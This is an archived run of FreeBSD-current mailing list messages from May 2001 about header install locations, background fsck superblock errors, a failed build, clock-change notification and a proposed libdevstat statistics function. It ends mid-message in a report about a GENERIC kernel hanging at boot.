(whale.sunbay.crimea.ua [212.110.138.65]) by hub.freebsd.org (Postfix) with ESMTP id 71FBE37B422; Thu, 17 May 2001 09:55:14 -0700 (PDT) (envelope-from ru@whale.sunbay.crimea.ua) Received: (from ru@localhost) by whale.sunbay.crimea.ua (8.11.2/8.11.2) id f4HGqpd91246; Thu, 17 May 2001 19:52:51 +0300 (EEST) (envelope-from ru) Date: Thu, 17 May 2001 19:52:51 +0300 From: Ruslan Ermilov To: Brian Somers Cc: Warner Losh , Bruce Evans , cvs-all@FreeBSD.ORG, current@FreeBSD.ORG, freebsd-arch@FreeBSD.ORG Subject: Re: Where to put include files (was: cvs commit: src Makefile.inc1) Message-ID: <20010517195251.A90318@sunbay.com> Mail-Followup-To: Brian Somers , Warner Losh , Bruce Evans , cvs-all@FreeBSD.ORG, current@FreeBSD.ORG, freebsd-arch@FreeBSD.ORG References: <200105171637.f4HGbsb65668@hak.lan.Awfulhak.org> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.2.5i In-Reply-To: <200105171637.f4HGbsb65668@hak.lan.Awfulhak.org>; from brian@Awfulhak.org on Thu, May 17, 2001 at 05:37:54PM +0100 Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG On Thu, May 17, 2001 at 05:37:54PM +0100, Brian Somers wrote: > [cc'd to -arch and not to cvs-committers] > > For anyone that's reading -arch and hasn't seen this on -current, the > thread is discussing userland sources that have -I../../sys in their > Makefile and then #include . > > I think everyone agrees that these headers should be made public, the > question is ``where to put them ?''. > > Warner wrote: > > In message <200105171233.f4HCXhb62786@hak.lan.Awfulhak.org> Brian > > Somers writes: > > : Solaris calls it's ioctl files /usr/include/sys/_io.h so I'd > > : spell digiio.h /usr/include/sys/digi_io.h. > > > > Actually, the more I think about it, the more I like putting it in > > /usr/include/sys/fooio.h. We have lots of other files there now. The > > down side to this approach is that it breaks up the driver sources > > that we've been trying to concentrate into sys/dev/foo/* (or > > introduces asymetry such that you can't just toss in a -I/sys and have > > the same tree that gets stuck under /usr/include). > > The SHARED variable in src/include/Makefile makes this side of things > tricky too - we've got to be careful that we either keep our sources > together and maintain a resemblance of the hierarchy in /usr/include > or split our sources. > > When I was working on Solaris I found it better to have the *io.h > files in sys (separate from the driver) as it made it very clear that > it was a public interface - the driver lived somewhere that just got > built into a module and wasn't seen by the outside world. > > So I think I'd tend to vote (FWIW) for moving digiio.h (and other > similar things) out of sys/dev// and into sys/sys/. > > Comments ? > More to that. There are 59 Makefiles that have -I${.CURDIR}/(../)+sys in them. All these are bogus. We should get rid of all of them (-I's). So far, I have found sbin/mount_* use headers from /sys/miscfs/ that are not installed into /usr/include, but should be. Where should these be installed? /usr/include/fs/ or should we preserve the /usr/include/miscfs/ layout like in /sys/miscfs? Modern fs'es install their headers into include/fs and old ones in include/. Cheers, -- Ruslan Ermilov Oracle Developer/DBA, ru@sunbay.com Sunbay Software AG, ru@FreeBSD.org FreeBSD committer, +380.652.512.251 Simferopol, Ukraine http://www.FreeBSD.org The Power To Serve http://www.oracle.com Enabling The Information Age To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Thu May 17 9:58:47 2001 Delivered-To: freebsd-current@freebsd.org Received: from kalaid.f2f.com.ua (kalaid.f2f.com.ua [62.149.0.33]) by hub.freebsd.org (Postfix) with ESMTP id 134B837B422; Thu, 17 May 2001 09:58:37 -0700 (PDT) (envelope-from sobomax@mail-in.net) Received: from Mail-In.Net (borey.f2f.com.ua [62.149.0.24]) by kalaid.f2f.com.ua (8.11.3/8.11.1) with ESMTP id f4HH1O027311; Thu, 17 May 2001 20:01:27 +0300 (EEST) (envelope-from sobomax@mail-in.net) Received: from vega.vega.com ([212.35.189.223]) by Mail-In.Net (8.11.3/8.H.Z) with ESMTP id f4HGx6095386; Thu, 17 May 2001 19:59:08 +0300 (EEST) Received: from FreeBSD.org (big_brother.vega.com [192.168.1.1]) by vega.vega.com (8.11.3/8.11.3) with ESMTP id f4HGvsk26052; Thu, 17 May 2001 19:57:54 +0300 (EEST) (envelope-from sobomax@FreeBSD.org) Message-ID: <3B040310.FAB13E41@FreeBSD.org> Date: Thu, 17 May 2001 19:57:52 +0300 From: Maxim Sobolev Organization: Vega International Capital X-Mailer: Mozilla 4.77 [en] (WinNT; U) X-Accept-Language: uk,ru,en MIME-Version: 1.0 To: Robert Watson Cc: current@FreeBSD.org, asami@FreeBSD.org Subject: Re: current.FreeBSD.org: package building? References: Content-Type: text/plain; charset=koi8-r Content-Transfer-Encoding: 7bit Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG Robert Watson wrote: > The last package build on current.FreeBSD.org seems to be from March 26th. > Is there any chance we could get an updated package build for -CURRENT? AFAIK there are some problems with bento's hardware. Contact Satoshi for more details. -Maxim To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Thu May 17 14:32:55 2001 Delivered-To: freebsd-current@freebsd.org Received: from meow.osd.bsdi.com (meow.osd.bsdi.com [204.216.28.88]) by hub.freebsd.org (Postfix) with ESMTP id 2C5A137B423; Thu, 17 May 2001 14:32:53 -0700 (PDT) (envelope-from jhb@FreeBSD.org) Received: from laptop.baldwin.cx (john@jhb-laptop.osd.bsdi.com [204.216.28.241]) by meow.osd.bsdi.com (8.11.2/8.11.2) with ESMTP id f4HLWkG93557; Thu, 17 May 2001 14:32:46 -0700 (PDT) (envelope-from jhb@FreeBSD.org) Message-ID: X-Mailer: XFMail 1.4.0 on FreeBSD X-Priority: 3 (Normal) Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 8bit MIME-Version: 1.0 Date: Thu, 17 May 2001 14:31:55 -0700 (PDT) From: John Baldwin To: current@FreeBSD.org Subject: background fsck Cc: mckusick@FreeBSD.org Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk List-ID: X-Loop: FreeBSD.ORG Has anyone else been trying out the background fsck? Last night I was working on the ithread code some and managed to panic my laptop while ejecting a pccard. Anyways, the kernel ate itself while trying to flush its buffers and I ended up with a dirty filesystem. I rebooted and let fsck -p do its usual thing, except that it freaked out. The actual fsck of / proceeded fine (actual fs activity when I panic'd my machine was very low, so the filesystems weren't corrupted, just marked dirty). When it got to /usr and /var, however, fsck freaked out and claimed that the primary superblock didn't match the first alternate. At this point I first had a heart attack. Once I recovered from that, I attempted read-only mounts of /usr and /var which did succeed, except that each mount spewed out a message to the kernel console about losing x files and y blocks. Confident that my fs wasn't totally hosed after doing some ls's, I unmounted /usr and /var and ran a non-preen fsck on them, which insisted on using an alternate superblock, but otherwise proceeded fine (except that it seemed to take longer than usual). Once the fscks's finished, it seemed to be all ok. Is anyone else seeing any weird stuff like this? I've never had fsck complain about the superblocks after a crash before. > df -t ufs Filesystem 1K-blocks Used Avail Capacity Mounted on /dev/ad0s2a 148823 84717 52201 62% / /dev/ad0s2f 10191770 7052563 2323866 75% /usr /dev/ad0s2e 99183 14254 76995 16% /var > mount -t ufs /dev/ad0s2a on / (ufs, local) /dev/ad0s2f on /usr (ufs, local) /dev/ad0s2e on /var (ufs, local) > grep ufs /etc/fstab /dev/ad0s2a / ufs rw 1 1 /dev/ad0s2f /usr ufs rw 2 2 /dev/ad0s2e /var ufs rw 2 2 Hmm, that's odd, I did have soft updates on on /usr and /var before the crash. It seems to be off now. :( -- John Baldwin -- http://www.FreeBSD.org/~jhb/ PGP Key: http://www.baldwin.cx/~john/pgpkey.asc "Power Users Use the Power to Serve!" - http://www.FreeBSD.org/ To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Thu May 17 14:49:19 2001 Delivered-To: freebsd-current@freebsd.org Received: from finch-post-10.mail.demon.net (finch-post-10.mail.demon.net [194.217.242.38]) by hub.freebsd.org (Postfix) with ESMTP id 13E3037B422 for ; Thu, 17 May 2001 14:49:16 -0700 (PDT) (envelope-from Adrian@nu-earth.demon.co.uk) Received: from nu-earth.demon.co.uk ([212.229.139.211] helo=nue001) by finch-post-10.mail.demon.net with smtp (Exim 2.12 #1) id 150Vdy-000CLe-0A for freebsd-current@freebsd.org; Thu, 17 May 2001 21:49:15 +0000 From: "Adrian Browne" To: Subject: cvsup 17-5-2001 Date: Thu, 17 May 2001 22:48:42 +0100 Message-ID: MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit X-Priority: 3 (Normal) X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook IMO, Build 9.0.2416 (9.0.2910.0) Importance: Normal X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4133.2400 Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk List-ID: X-Loop: FreeBSD.ORG cvsup 17-5-2001 buildworld worked fine make install failed with the following: /usr/share/man/man1/tcsh.1.gz -> /usr/share/man/man1/csh.1.gz ===> bin/csh/nls ===> bin/csh/nls/finnish install -c -o root -g wheel -m 444 tcsh.cat /usr/share/nls/fi_FI.ISO_8859-1/tcsh.cat ln -fs ../fi_FI.ISO_8859-1/tcsh.cat /usr/share/nls/fi_FI.ISO_8859-15/tcsh.cat ln: /usr/share/nls/fi_FI.ISO_8859-15/tcsh.cat: No such file or directory *** Error code 1 Stop in /usr/src/bin/csh/nls/finnish. *** Error code 1 Stop in /usr/src/bin/csh/nls. *** Error code 1 Stop in /usr/src/bin/csh. *** Error code 1 Stop in /usr/src/bin. *** Error code 1 Stop in /usr/src. *** Error code 1 Stop in /usr/src. Adrian@nu-earth.demon.co.uk ______ ____ _____ ____ / ____/_______ ___ / __ ) ___// __ \ / /_ / ___/ _ \/ _ \/ __ \__ \/ / / / / __/ / / / __/ __/ /_/ /__/ / /_/ / /_/ /_/ \___/\___/_____/____/_____/ To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Thu May 17 15: 6:26 2001 Delivered-To: freebsd-current@freebsd.org Received: from bunrab.catwhisker.org (adsl-63-193-123-122.dsl.snfc21.pacbell.net [63.193.123.122]) by hub.freebsd.org (Postfix) with ESMTP id 42E0E37B422; Thu, 17 May 2001 15:06:21 -0700 (PDT) (envelope-from david@catwhisker.org) Received: (from david@localhost) by bunrab.catwhisker.org (8.10.0/8.10.0) id f4HM6Bk85261; Thu, 17 May 2001 15:06:11 -0700 (PDT) Date: Thu, 17 May 2001 15:06:11 -0700 (PDT) From: David Wolfskill Message-Id: <200105172206.f4HM6Bk85261@bunrab.catwhisker.org> To: current@FreeBSD.ORG, jhb@FreeBSD.ORG Subject: Re: background fsck Cc: mckusick@FreeBSD.ORG In-Reply-To: Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk List-ID: X-Loop: FreeBSD.ORG >Date: Thu, 17 May 2001 14:31:55 -0700 (PDT) >From: John Baldwin >Has anyone else been trying out the background fsck? A little; despite my desire to help debug things, getting to a point where doing this is appropriate isn't something I am all too eager to do. Thus, it wasn't exactly "voluntary." :-} >Last night I was working on the ithread code some and managed to panic >my laptop while ejecting a pccard. Anyways, the kernel ate itself while >trying to flush its buffers and I ended up with a dirty filesystem. I've had a couple of occasions when I'd boot my laptop (which resembles yours, as you may recall) from -STABLE into -CURRENT (or vice versa), and xdm would fire up, but not present a login window. Meanwhile, the fan kicks into high gear (indicating that the machine is a tad busy, thankyouverymuch), and I can't get its attention by any means I have been able to discover short of a power-cycle. (At least the button does the job; I didn't need to yank the batteries out.) But lid-closure just shut off the display, no key chord I could find had a noticable effect, nor did removing & re-inserting a PCMCIA card. >I rebooted and let fsck -p do its usual thing, except >that it freaked out. The actual fsck of / proceeded fine (actual fs activity >when I panic'd my machine was very low, so the filesystems weren't corrupted, >just marked dirty). When it got to /usr and /var, however, fsck freaked out >and claimed that the primary superblock didn't match the first alternate. Well, I confess that the first couple of times I had been running -CURRENT and the box wanted a fsck more elaborate than the -p variety, I recalled that there had been recent activity, and I remembered one person's rather unfortunate experience of finding everything sitting in lost+found. Since I had no desire for that to happen, I booted -STABLE instead: single-user mode, "fsck -p". Wasn't quite happy with a couple of file systems, so I did manual "fsck" (still under -STABLE) on each of those. Finally, system said things were OK; I was able to do a "mount-a", so after that, I did a "reboot" into -CURRENT. Much to my surprise (and some chagrin), those 2 file systems that needed the extra attention (/var and -CURRENT's /usr, if I recall correctly) didn't pass muster with -CURRENT's fsck; it wanted a manual fsck of those, no question about it. Since they passed -STABLE's fsck, I figured they weren't likely in *too* terribly bad shape, so I went ahead and did the manual fsck, per request. And in each case, I had a similar symptom (re: primary & first alternate superblock mismatch). I did wonder about making a choice just between those two, without checking for one of the other alternates (some sort of "voting protocol" -- though I wouldn't be too terribly keen on making fsck unecessarily complicated, certainly). But under the circumstances, I wanted to run -CURRENT, so I didn't see that I had a great deal of choice in the matter (regardless of what I was being asked), so I told it to go ahead. Following those manual fscks, I re-booted into multi-user mode, and things worked normally (as far as I can tell). >At this point I first had a heart attack. I believe that a technical term for that literary device is "hyperbole". :-) >Once I recovered from that, I attempted >read-only mounts of /usr and /var which did succeed, except that each mount >spewed out a message to the kernel console about losing x files and y blocks. >Confident that my fs wasn't totally hosed after doing some ls's, I unmounted >/usr and /var and ran a non-preen fsck on them, which insisted on using an >alternate superblock, but otherwise proceeded fine (except that it seemed to >take longer than usual). Once the fscks's finished, it seemed to be all ok. >Is anyone else seeing any weird stuff like this? I've never had fsck complain >about the superblocks after a crash before. As noted, it's happened a couple of times for me. Generally, somewhat inopportune times (almost by definition), so I wasn't really able to take the time to sit back, take notes, and report back much that was coherent. And I was under the impression that much of this was "under construction" anyhow, so the value of any report I maight make was somewhat open to question (from my perspective, anyhow). >... >Hmm, that's odd, I did have soft updates on on /usr and /var before the crash. >It seems to be off now. :( That also happened to me. I thought it odd at the time, but forgot to mention it.... At least I have some reason to believe I was unlikely to have been hallucinating about that.... Cheers, david -- David H. Wolfskill david@catwhisker.org As a computing professional, I believe it would be unethical for me to advise, recommend, or support the use (save possibly for personal amusement) of any product that is or depends on any Microsoft product. To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Thu May 17 15:14:12 2001 Delivered-To: freebsd-current@freebsd.org Received: from hunkular.glarp.com (hunkular.glarp.com [199.117.25.251]) by hub.freebsd.org (Postfix) with ESMTP id 9EF4037B424 for ; Thu, 17 May 2001 15:14:07 -0700 (PDT) (envelope-from huntting@hunkular.glarp.com) Received: from hunkular.glarp.com (localhost [127.0.0.1]) by hunkular.glarp.com (8.11.3/8.11.3) with ESMTP id f4HME2R72919; Thu, 17 May 2001 16:14:04 -0600 (MDT) (envelope-from huntting@hunkular.glarp.com) Message-Id: <200105172214.f4HME2R72919@hunkular.glarp.com> To: "David Schwartz" Cc: "Brad Huntting" , current@FreeBSD.ORG Subject: Re: catching abrupt time changes In-Reply-To: Your message of "Thu, 17 May 2001 09:06:09 PDT." Date: Thu, 17 May 2001 16:14:02 -0600 From: Brad Huntting Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk List-ID: X-Loop: FreeBSD.ORG > The usual platform-independent way to do this is to have a thread > that monitors the system clock. It wakes up every, say, 2 seconds > and makes sure the clock is where it expects it. If the clock isn't > what it expects, it does whatever you need to do in that case. > I fear, however, that this is yet another technique that won't work > properly with user-space threading. I fear that the clock thread's > sleep function will be virtualize into something that won't sleep > for the right amount of time if the system clock is changed. Does > anyone know which sleep function to use to avoid this - or if there > is one? Unfortunately, this is exactly what I'm trying fix. I want cron to _stop_ waking up every 60 seconds. If cron has nothing to do for 5 days, it should sleep for 5 days. And if everything on the system is sleeping for 5 days and the kernel knows this, then mabey we can hibernate the system for 5 days. I know theres allot more to this than just cron (network stuff etc). brad To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Thu May 17 15:48: 9 2001 Delivered-To: freebsd-current@freebsd.org Received: from critter.freebsd.dk (critter.freebsd.dk [212.242.86.163]) by hub.freebsd.org (Postfix) with ESMTP id 93BA637B423 for ; Thu, 17 May 2001 15:47:53 -0700 (PDT) (envelope-from phk@critter.freebsd.dk) Received: from critter (localhost [127.0.0.1]) by critter.freebsd.dk (8.11.3/8.11.3) with ESMTP id f4HBCtL12323; Thu, 17 May 2001 13:12:55 +0200 (CEST) (envelope-from phk@critter.freebsd.dk) To: osa@freebsd.org.ru Cc: freebsd-current@FreeBSD.ORG Subject: Re: new function for libdevstat In-Reply-To: Your message of "Sat, 12 May 2001 17:42:01 +0400." <20010512174201.A58243@freebsd.org.ru> Date: Thu, 17 May 2001 13:12:55 +0200 Message-ID: <12321.990097975@critter> From: Poul-Henning Kamp Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk List-ID: X-Loop: FreeBSD.ORG Looks OK to me. In message <20010512174201.A58243@freebsd.org.ru>, "Sergey A. Osokin" writes: > >--9amGYk9869ThD9tj >Content-Type: text/plain; charset=us-ascii >Content-Disposition: inline > >On Fri, May 11, 2001 at 07:35:50PM +0200, Poul-Henning Kamp wrote: >> In message <20010511193907.A49316@freebsd.org.ru>, "Sergey A. Osokin" writes: >> >> >Hello. >> >2 monthes ago I talked in -current about new features for libdevstat. >> >Here is a new function, which calculate more statistics then >> >existing compute_stats(). (compute_stats() calculate only average >> >results, not read/write results). >> >Please see my first step. Comments are welcome. >> >> I really don't think this is the way... >> >> I would far rather see: >> >> enum DEVSTAT_METRIC { >> DEVSTAT_BYTES, >> DEVSTAT_BYTES_READ, >> DEVSTAT_BYTES_WRITE, >> ... >> } >> >> int >> devstat_compute_statistics( >> struct devstat *current, >> struct devstat *previous, >> enum DEVSTAT_METRIC metric, >> double *destination); >> >> Since that can be extended with new metrics without changing >> the ABI... > >OK. Please see attachment. >Thanks. >-- > >Rgdz, /"\ >Sergey Osokin aka oZZ, \ / ASCII RIBBON CAMPAIGN >osa@freebsd.org.ru X AGAINST HTML MAIL >http://freebsd.org.ru/~osa/ / \ > >--9amGYk9869ThD9tj >Content-Type: text/plain; charset=us-ascii >Content-Disposition: attachment; filename="newstat2.c" > >enum DEVSTAT_METRIC { > DEVSTAT_TOTAL_BYTES, > DEVSTAT_TOTAL_BYTES_READ, > DEVSTAT_TOTAL_BYTES_WRITE, > DEVSTAT_TOTAL_TRANSFERS, > DEVSTAT_TOTAL_TRANSFERS_READ, > DEVSTAT_TOTAL_TRANSFERS_WRITE, > DEVSTAT_TOTAL_TRANSFERS_OTHER, > DEVSTAT_TOTAL_BLOCKS, > DEVSTAT_TOTAL_BLOCKS_READ, > DEVSTAT_TOTAL_BLOCKS_WRITE, > DEVSTAT_KB_PER_TRANSFER, > DEVSTAT_KB_PER_TRANSFER_READ, > DEVSTAT_KB_PER_TRANSFER_WRITE, > DEVSTAT_TRANSFERS_PER_SECOND, > DEVSTAT_TRANSFERS_PER_SECOND_READ, > DEVSTAT_TRANSFERS_PER_SECOND_WRITE, > DEVSTAT_TRANSFERS_PER_SECOND_OTHER, > DEVSTAT_MB_PER_SECOND, > DEVSTAT_MB_PER_SECOND_READ, > DEVSTAT_MB_PER_SECOND_WRITE, > DEVSTAT_BLOCKS_PER_SECOND, > DEVSTAT_BLOCKS_PER_SECOND_READ, > DEVSTAT_BLOCKS_PER_SECOND_WRITE, > DEVSTAT_MS_PER_TRANSACTION, > DEVSTAT_MS_PER_TRANSACTION_READ, > DEVSTAT_MS_PER_TRANSACTION_WRITE >}; > >int >devstat_compute_statistics(struct devstat *current, struct devstat *previous, > long double etime, enum DEVSTAT_METRIC metric, > long double *destination) >{ > u_int64_t totalbytes, totalbytes_read, totalbytes_write; > u_int64_t totaltransfers, totaltransfers_read, totaltransfers_write, totaltransfers_other; > u_int64_t totalblocks, totalblocks_read, totalblocks_write; > char *func_name = "devstat_compute_statistics"; > > /* > * current is the only mandatory field. > */ > > if (current == NULL) { > sprintf(devstat_errbuf, "%s: current stats structure was NULL", > func_name); > return(-1); > } > > totalbytes_read = current->bytes_read - ((previous) ? previous->bytes_read : 0); > > if (metric == DEVSTAT_TOTAL_BYTES_READ) { > *destination = totalbytes_read; > return 0; > } > > totalbytes_write = current->bytes_written - ((previous) ? previous->bytes_written : 0); > > if (metric == DEVSTAT_TOTAL_BYTES_WRITE) { > *destination = totalbytes_write; > return 0; > } > >/* > totalbytes = (current->bytes_written + current->bytes_read) - > ((previous) ? (previous->bytes_written + > previous->bytes_read) : 0); >*/ > > totalbytes = totalbytes_read + totalbytes_write; > > if (metric == DEVSTAT_TOTAL_BYTES) { > *destination = totalbytes; > return 0; > } > > totaltransfers_read = current->num_reads - ((previous) ? (previous->num_reads) : 0); > > if (metric == DEVSTAT_TOTAL_TRANSFERS_READ) { > *destination = totaltransfers_read; > return 0; > } > > totaltransfers_write = current->num_writes - ((previous) ? (previous->num_writes) : 0); > > if (metric == DEVSTAT_TOTAL_TRANSFERS_WRITE) { > *destination = totaltransfers_write; > return 0; > } > > totaltransfers_other = current->num_other - ((previous) ? (previous->num_other) : 0); > > if (metric == DEVSTAT_TOTAL_TRANSFERS_OTHER) { > *destination = totaltransfers_other; > return 0; > } >/* > totaltransfers = (current->num_reads + > current->num_writes + > current->num_other) - > ((previous) ? > (previous->num_reads + > previous->num_writes + > previous->num_other) : 0); >*/ > > totaltransfers = totaltransfers_read + totaltransfers_write + totaltransfers_other; > > if (metric == DEVSTAT_TOTAL_TRANSFERS) { > *destination = totaltransfers; > return 0; > } > > if (metric == DEVSTAT_TRANSFERS_PER_SECOND) { > if (etime > 0.0) { > *destination = totaltransfers; > *destination /= etime; > return 0; > } else { > *destination = 0.0; > return 0; > } > } > > if (metric == DEVSTAT_TRANSFERS_PER_SECOND_READ) { > if (etime > 0.0) { > *destination = totaltransfers_read; > *destination /= etime; > return 0; > } else { > *destination = 0.0; > return 0; > } > } > > if (metric == DEVSTAT_TRANSFERS_PER_SECOND_WRITE) { > if (etime > 0.0) { > *destination = totaltransfers_write; > *destination /= etime; > return 0; > } else { > *destination = 0.0; > return 0; > } > } > > if (metric == DEVSTAT_TRANSFERS_PER_SECOND_OTHER) { > if (etime > 0.0) { > *destination = totaltransfers_other; > *destination /= etime; > return 0; > } else { > *destination = 0.0; > return 0; > } > } > > if (metric == DEVSTAT_KB_PER_TRANSFER) { > *destination = totalbytes; > *destination /= 1024; > if (totaltransfers > 0) { > *destination /= totaltransfers; > return 0; > } else { > *destination = 0.0; > return 0; > } > } > > if (metric == DEVSTAT_KB_PER_TRANSFER_READ) { > *destination = totalbytes_read; > *destination /= 1024; > if (totaltransfers_read > 0) { > *destination /= totaltransfers_read; > return 0; > } else { > *destination = 0.0; > return 0; > } > } > > if (metric == DEVSTAT_KB_PER_TRANSFER_WRITE) { > *destination = totalbytes_write; > *destination /= 1024; > if (totaltransfers_write > 0) { > *destination /= totaltransfers_write; > return 0; > } else { > *destination = 0.0; > return 0; > } > } > > if (metric == DEVSTAT_MB_PER_SECOND) { > *destination = totalbytes; > *destination /= 1024 * 1024; > if (etime > 0.0) { > *destination /= etime; > return 0; > } else { > *destination = 0.0; > return 0; > } > } > > if (metric == DEVSTAT_MB_PER_SECOND_READ) { > *destination = totalbytes_read; > *destination /= 1024 * 1024; > if (etime > 0.0) { > *destination /= etime; > return 0; > } else { > *destination = 0.0; > return 0; > } > } > > if (metric == DEVSTAT_MB_PER_SECOND_WRITE) { > *destination = totalbytes_write; > *destination /= 1024 * 1024; > if (etime > 0.0) { > *destination /= etime; > return 0; > } else { > *destination = 0.0; > return 0; > } > } > > totalblocks = totalbytes; > totalblocks_read = totalbytes_read; > totalblocks_write = totalbytes_write; > > if (current->block_size > 0) { > totalblocks /= current->block_size; > totalblocks_read /= current->block_size; > totalblocks_write /= current->block_size; > } > else { > totalblocks /= 512; > totalblocks_read /= 512; > totalblocks_write /= 512; > } > > if (metric == DEVSTAT_TOTAL_BLOCKS) { > *destination = totalblocks; > return 0; > } > > if (metric == DEVSTAT_TOTAL_BLOCKS_READ) { > *destination = totalblocks_read; > return 0; > } > > if (metric == DEVSTAT_TOTAL_BLOCKS_WRITE) { > *destination = totalblocks_write; > return 0; > } > > if (metric == DEVSTAT_BLOCKS_PER_SECOND) { > *destination = totalblocks; > if (etime > 0.0) { > *destination /= etime; > return 0; > } else { > *destination = 0.0; > return 0; > } > } > > if (metric == DEVSTAT_BLOCKS_PER_SECOND_READ) { > *destination = totalblocks_read; > if (etime > 0.0) { > *destination /= etime; > return 0; > } else { > *destination = 0.0; > return 0; > } > } > > if (metric == DEVSTAT_BLOCKS_PER_SECOND_WRITE) { > *destination = totalblocks_write; > if (etime > 0.0) { > *destination /= etime; > return 0; > } else { > *destination = 0.0; > return 0; > } > } > > if (metric == DEVSTAT_MS_PER_TRANSACTION) { > if (totaltransfers > 0) { > *destination = etime; > *destination /= totaltransfers; > *destination *= 1000; > return 0; > } else { > *destination = 0.0; > return 0; > } > } > > if (metric == DEVSTAT_MS_PER_TRANSACTION_READ) { > if (totaltransfers_read > 0) { > *destination = etime; > *destination /= totaltransfers_read; > *destination *= 1000; > return 0; > } else { > *destination = 0.0; > return 0; > } > } > > if (metric == DEVSTAT_MS_PER_TRANSACTION_WRITE) { > if (totaltransfers_write > 0) { > *destination = etime; > *destination /= totaltransfers_write; > *destination *= 1000; > return 0; > } else { > *destination = 0.0; > return 0; > } > } > > return(0); >} > >--9amGYk9869ThD9tj-- > >To Unsubscribe: send mail to majordomo@FreeBSD.org >with "unsubscribe freebsd-current" in the body of the message > -- Poul-Henning Kamp | UNIX since Zilog Zeus 3.20 phk@FreeBSD.ORG | TCP/IP since RFC 956 FreeBSD committer | BSD since 4.3-tahoe Never attribute to malice what can adequately be explained by incompetence. To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Thu May 17 18:40:21 2001 Delivered-To: freebsd-current@freebsd.org Received: from wall.polstra.com (rtrwan160.accessone.com [206.213.115.74]) by hub.freebsd.org (Postfix) with ESMTP id 77BE237B424 for ; Thu, 17 May 2001 18:40:18 -0700 (PDT) (envelope-from jdp@wall.polstra.com) Received: from vashon.polstra.com (vashon.polstra.com [206.213.73.13]) by wall.polstra.com (8.11.3/8.11.1) with ESMTP id f4I1eD015706; Thu, 17 May 2001 18:40:13 -0700 (PDT) (envelope-from jdp@wall.polstra.com) Received: (from jdp@localhost) by vashon.polstra.com (8.11.3/8.11.0) id f4I1eBZ92306; Thu, 17 May 2001 18:40:11 -0700 (PDT) (envelope-from jdp) Date: Thu, 17 May 2001 18:40:11 -0700 (PDT) Message-Id: <200105180140.f4I1eBZ92306@vashon.polstra.com> To: current@freebsd.org From: John Polstra Cc: huntting@glarp.com Subject: Re: catching abrupt time changes In-Reply-To: <200105170722.f4H7MmR27336@hunkular.glarp.com> References: <200105170722.f4H7MmR27336@hunkular.glarp.com> Organization: Polstra & Co., Seattle, WA Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk List-ID: X-Loop: FreeBSD.ORG In article <200105170722.f4H7MmR27336@hunkular.glarp.com>, Brad Huntting wrote: > > Suppose I'm a (root) process: I have an appointment in exactly > one hour. I call select() and specify a timeout of 3600 seconds, > trusting that the system will wake me up just in time. But > unbeknownst to me someone sets the clock back 10 minutes while I'm > asleep (using settimeofday(), not adjtime()). When select() returns > I find that I'm 10 minutes late! > > My question is: > > How can I arrange to be notified when someone and makes a > corse change to the system clock? This may be more work than you want to do, but ... You could add a new kqueue event which is generated when the system time is stepped. Then you could do your sleeping with kevent(). John -- John Polstra jdp@polstra.com John D. Polstra & Co., Inc. Seattle, Washington USA "Disappointment is a good sign of basic intelligence." -- Ch�gyam Trungpa To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Thu May 17 19:53:53 2001 Delivered-To: freebsd-current@freebsd.org Received: from wall.polstra.com (rtrwan160.accessone.com [206.213.115.74]) by hub.freebsd.org (Postfix) with ESMTP id 2C54737B423 for ; Thu, 17 May 2001 19:53:48 -0700 (PDT) (envelope-from jdp@polstra.com) Received: from vashon.polstra.com (vashon.polstra.com [206.213.73.13]) by wall.polstra.com (8.11.3/8.11.1) with ESMTP id f4I2rl015918 for ; Thu, 17 May 2001 19:53:47 -0700 (PDT) (envelope-from jdp@polstra.com) Message-ID: X-Mailer: XFMail 1.3 [p0] on FreeBSD X-Priority: 3 (Normal) Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 8bit MIME-Version: 1.0 Date: Thu, 17 May 2001 19:53:46 -0700 (PDT) Organization: Polstra & Co., Inc. From: John Polstra To: current@freebsd.org Subject: GENERIC kernel hangs at boot (uhci-related) Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk List-ID: X-Loop: FreeBSD.ORG The GENERIC kernel in -current hangs on my ASUS P2B-S system, but my custom kernel is OK. By trial and error I determined that removing the "uhci" device from the GENERIC kernel makes it work. I don't know how long this has been broken, because I don't normally use GENERIC. I do know it was broken at least 12 days ago, though. When booting GENERIC, the kernel probes most (all?) of the devices and gets to the point where it says, "Waiting 15 seconds for SCSI devices to settle." At that point it hangs solid. Keystrokes aren't echoed; scroll-lock doesn't work; CTRL-ALT-ESC does nothing. I tried regressing the source tree to two different earlier dates. GENERIC hung during boot both times, though the symptoms were different: cvs upd -Pd -D '1/19/2001 7:00 PST': Finds all of the SCSI devices, says "start_init: trying /sbin/init," and hangs. Scroll-lock works, and CTRL-ALT-ESC tells me that DDB isn't in the kernel (which is true). cvs upd -Pd -D '2/4/2001 4:36 PST': Says "Waiting 15 seconds for SCSI devices to settle," and then gets an immediate "kernel trap 9 with interrupts disabled." I don't know whether these 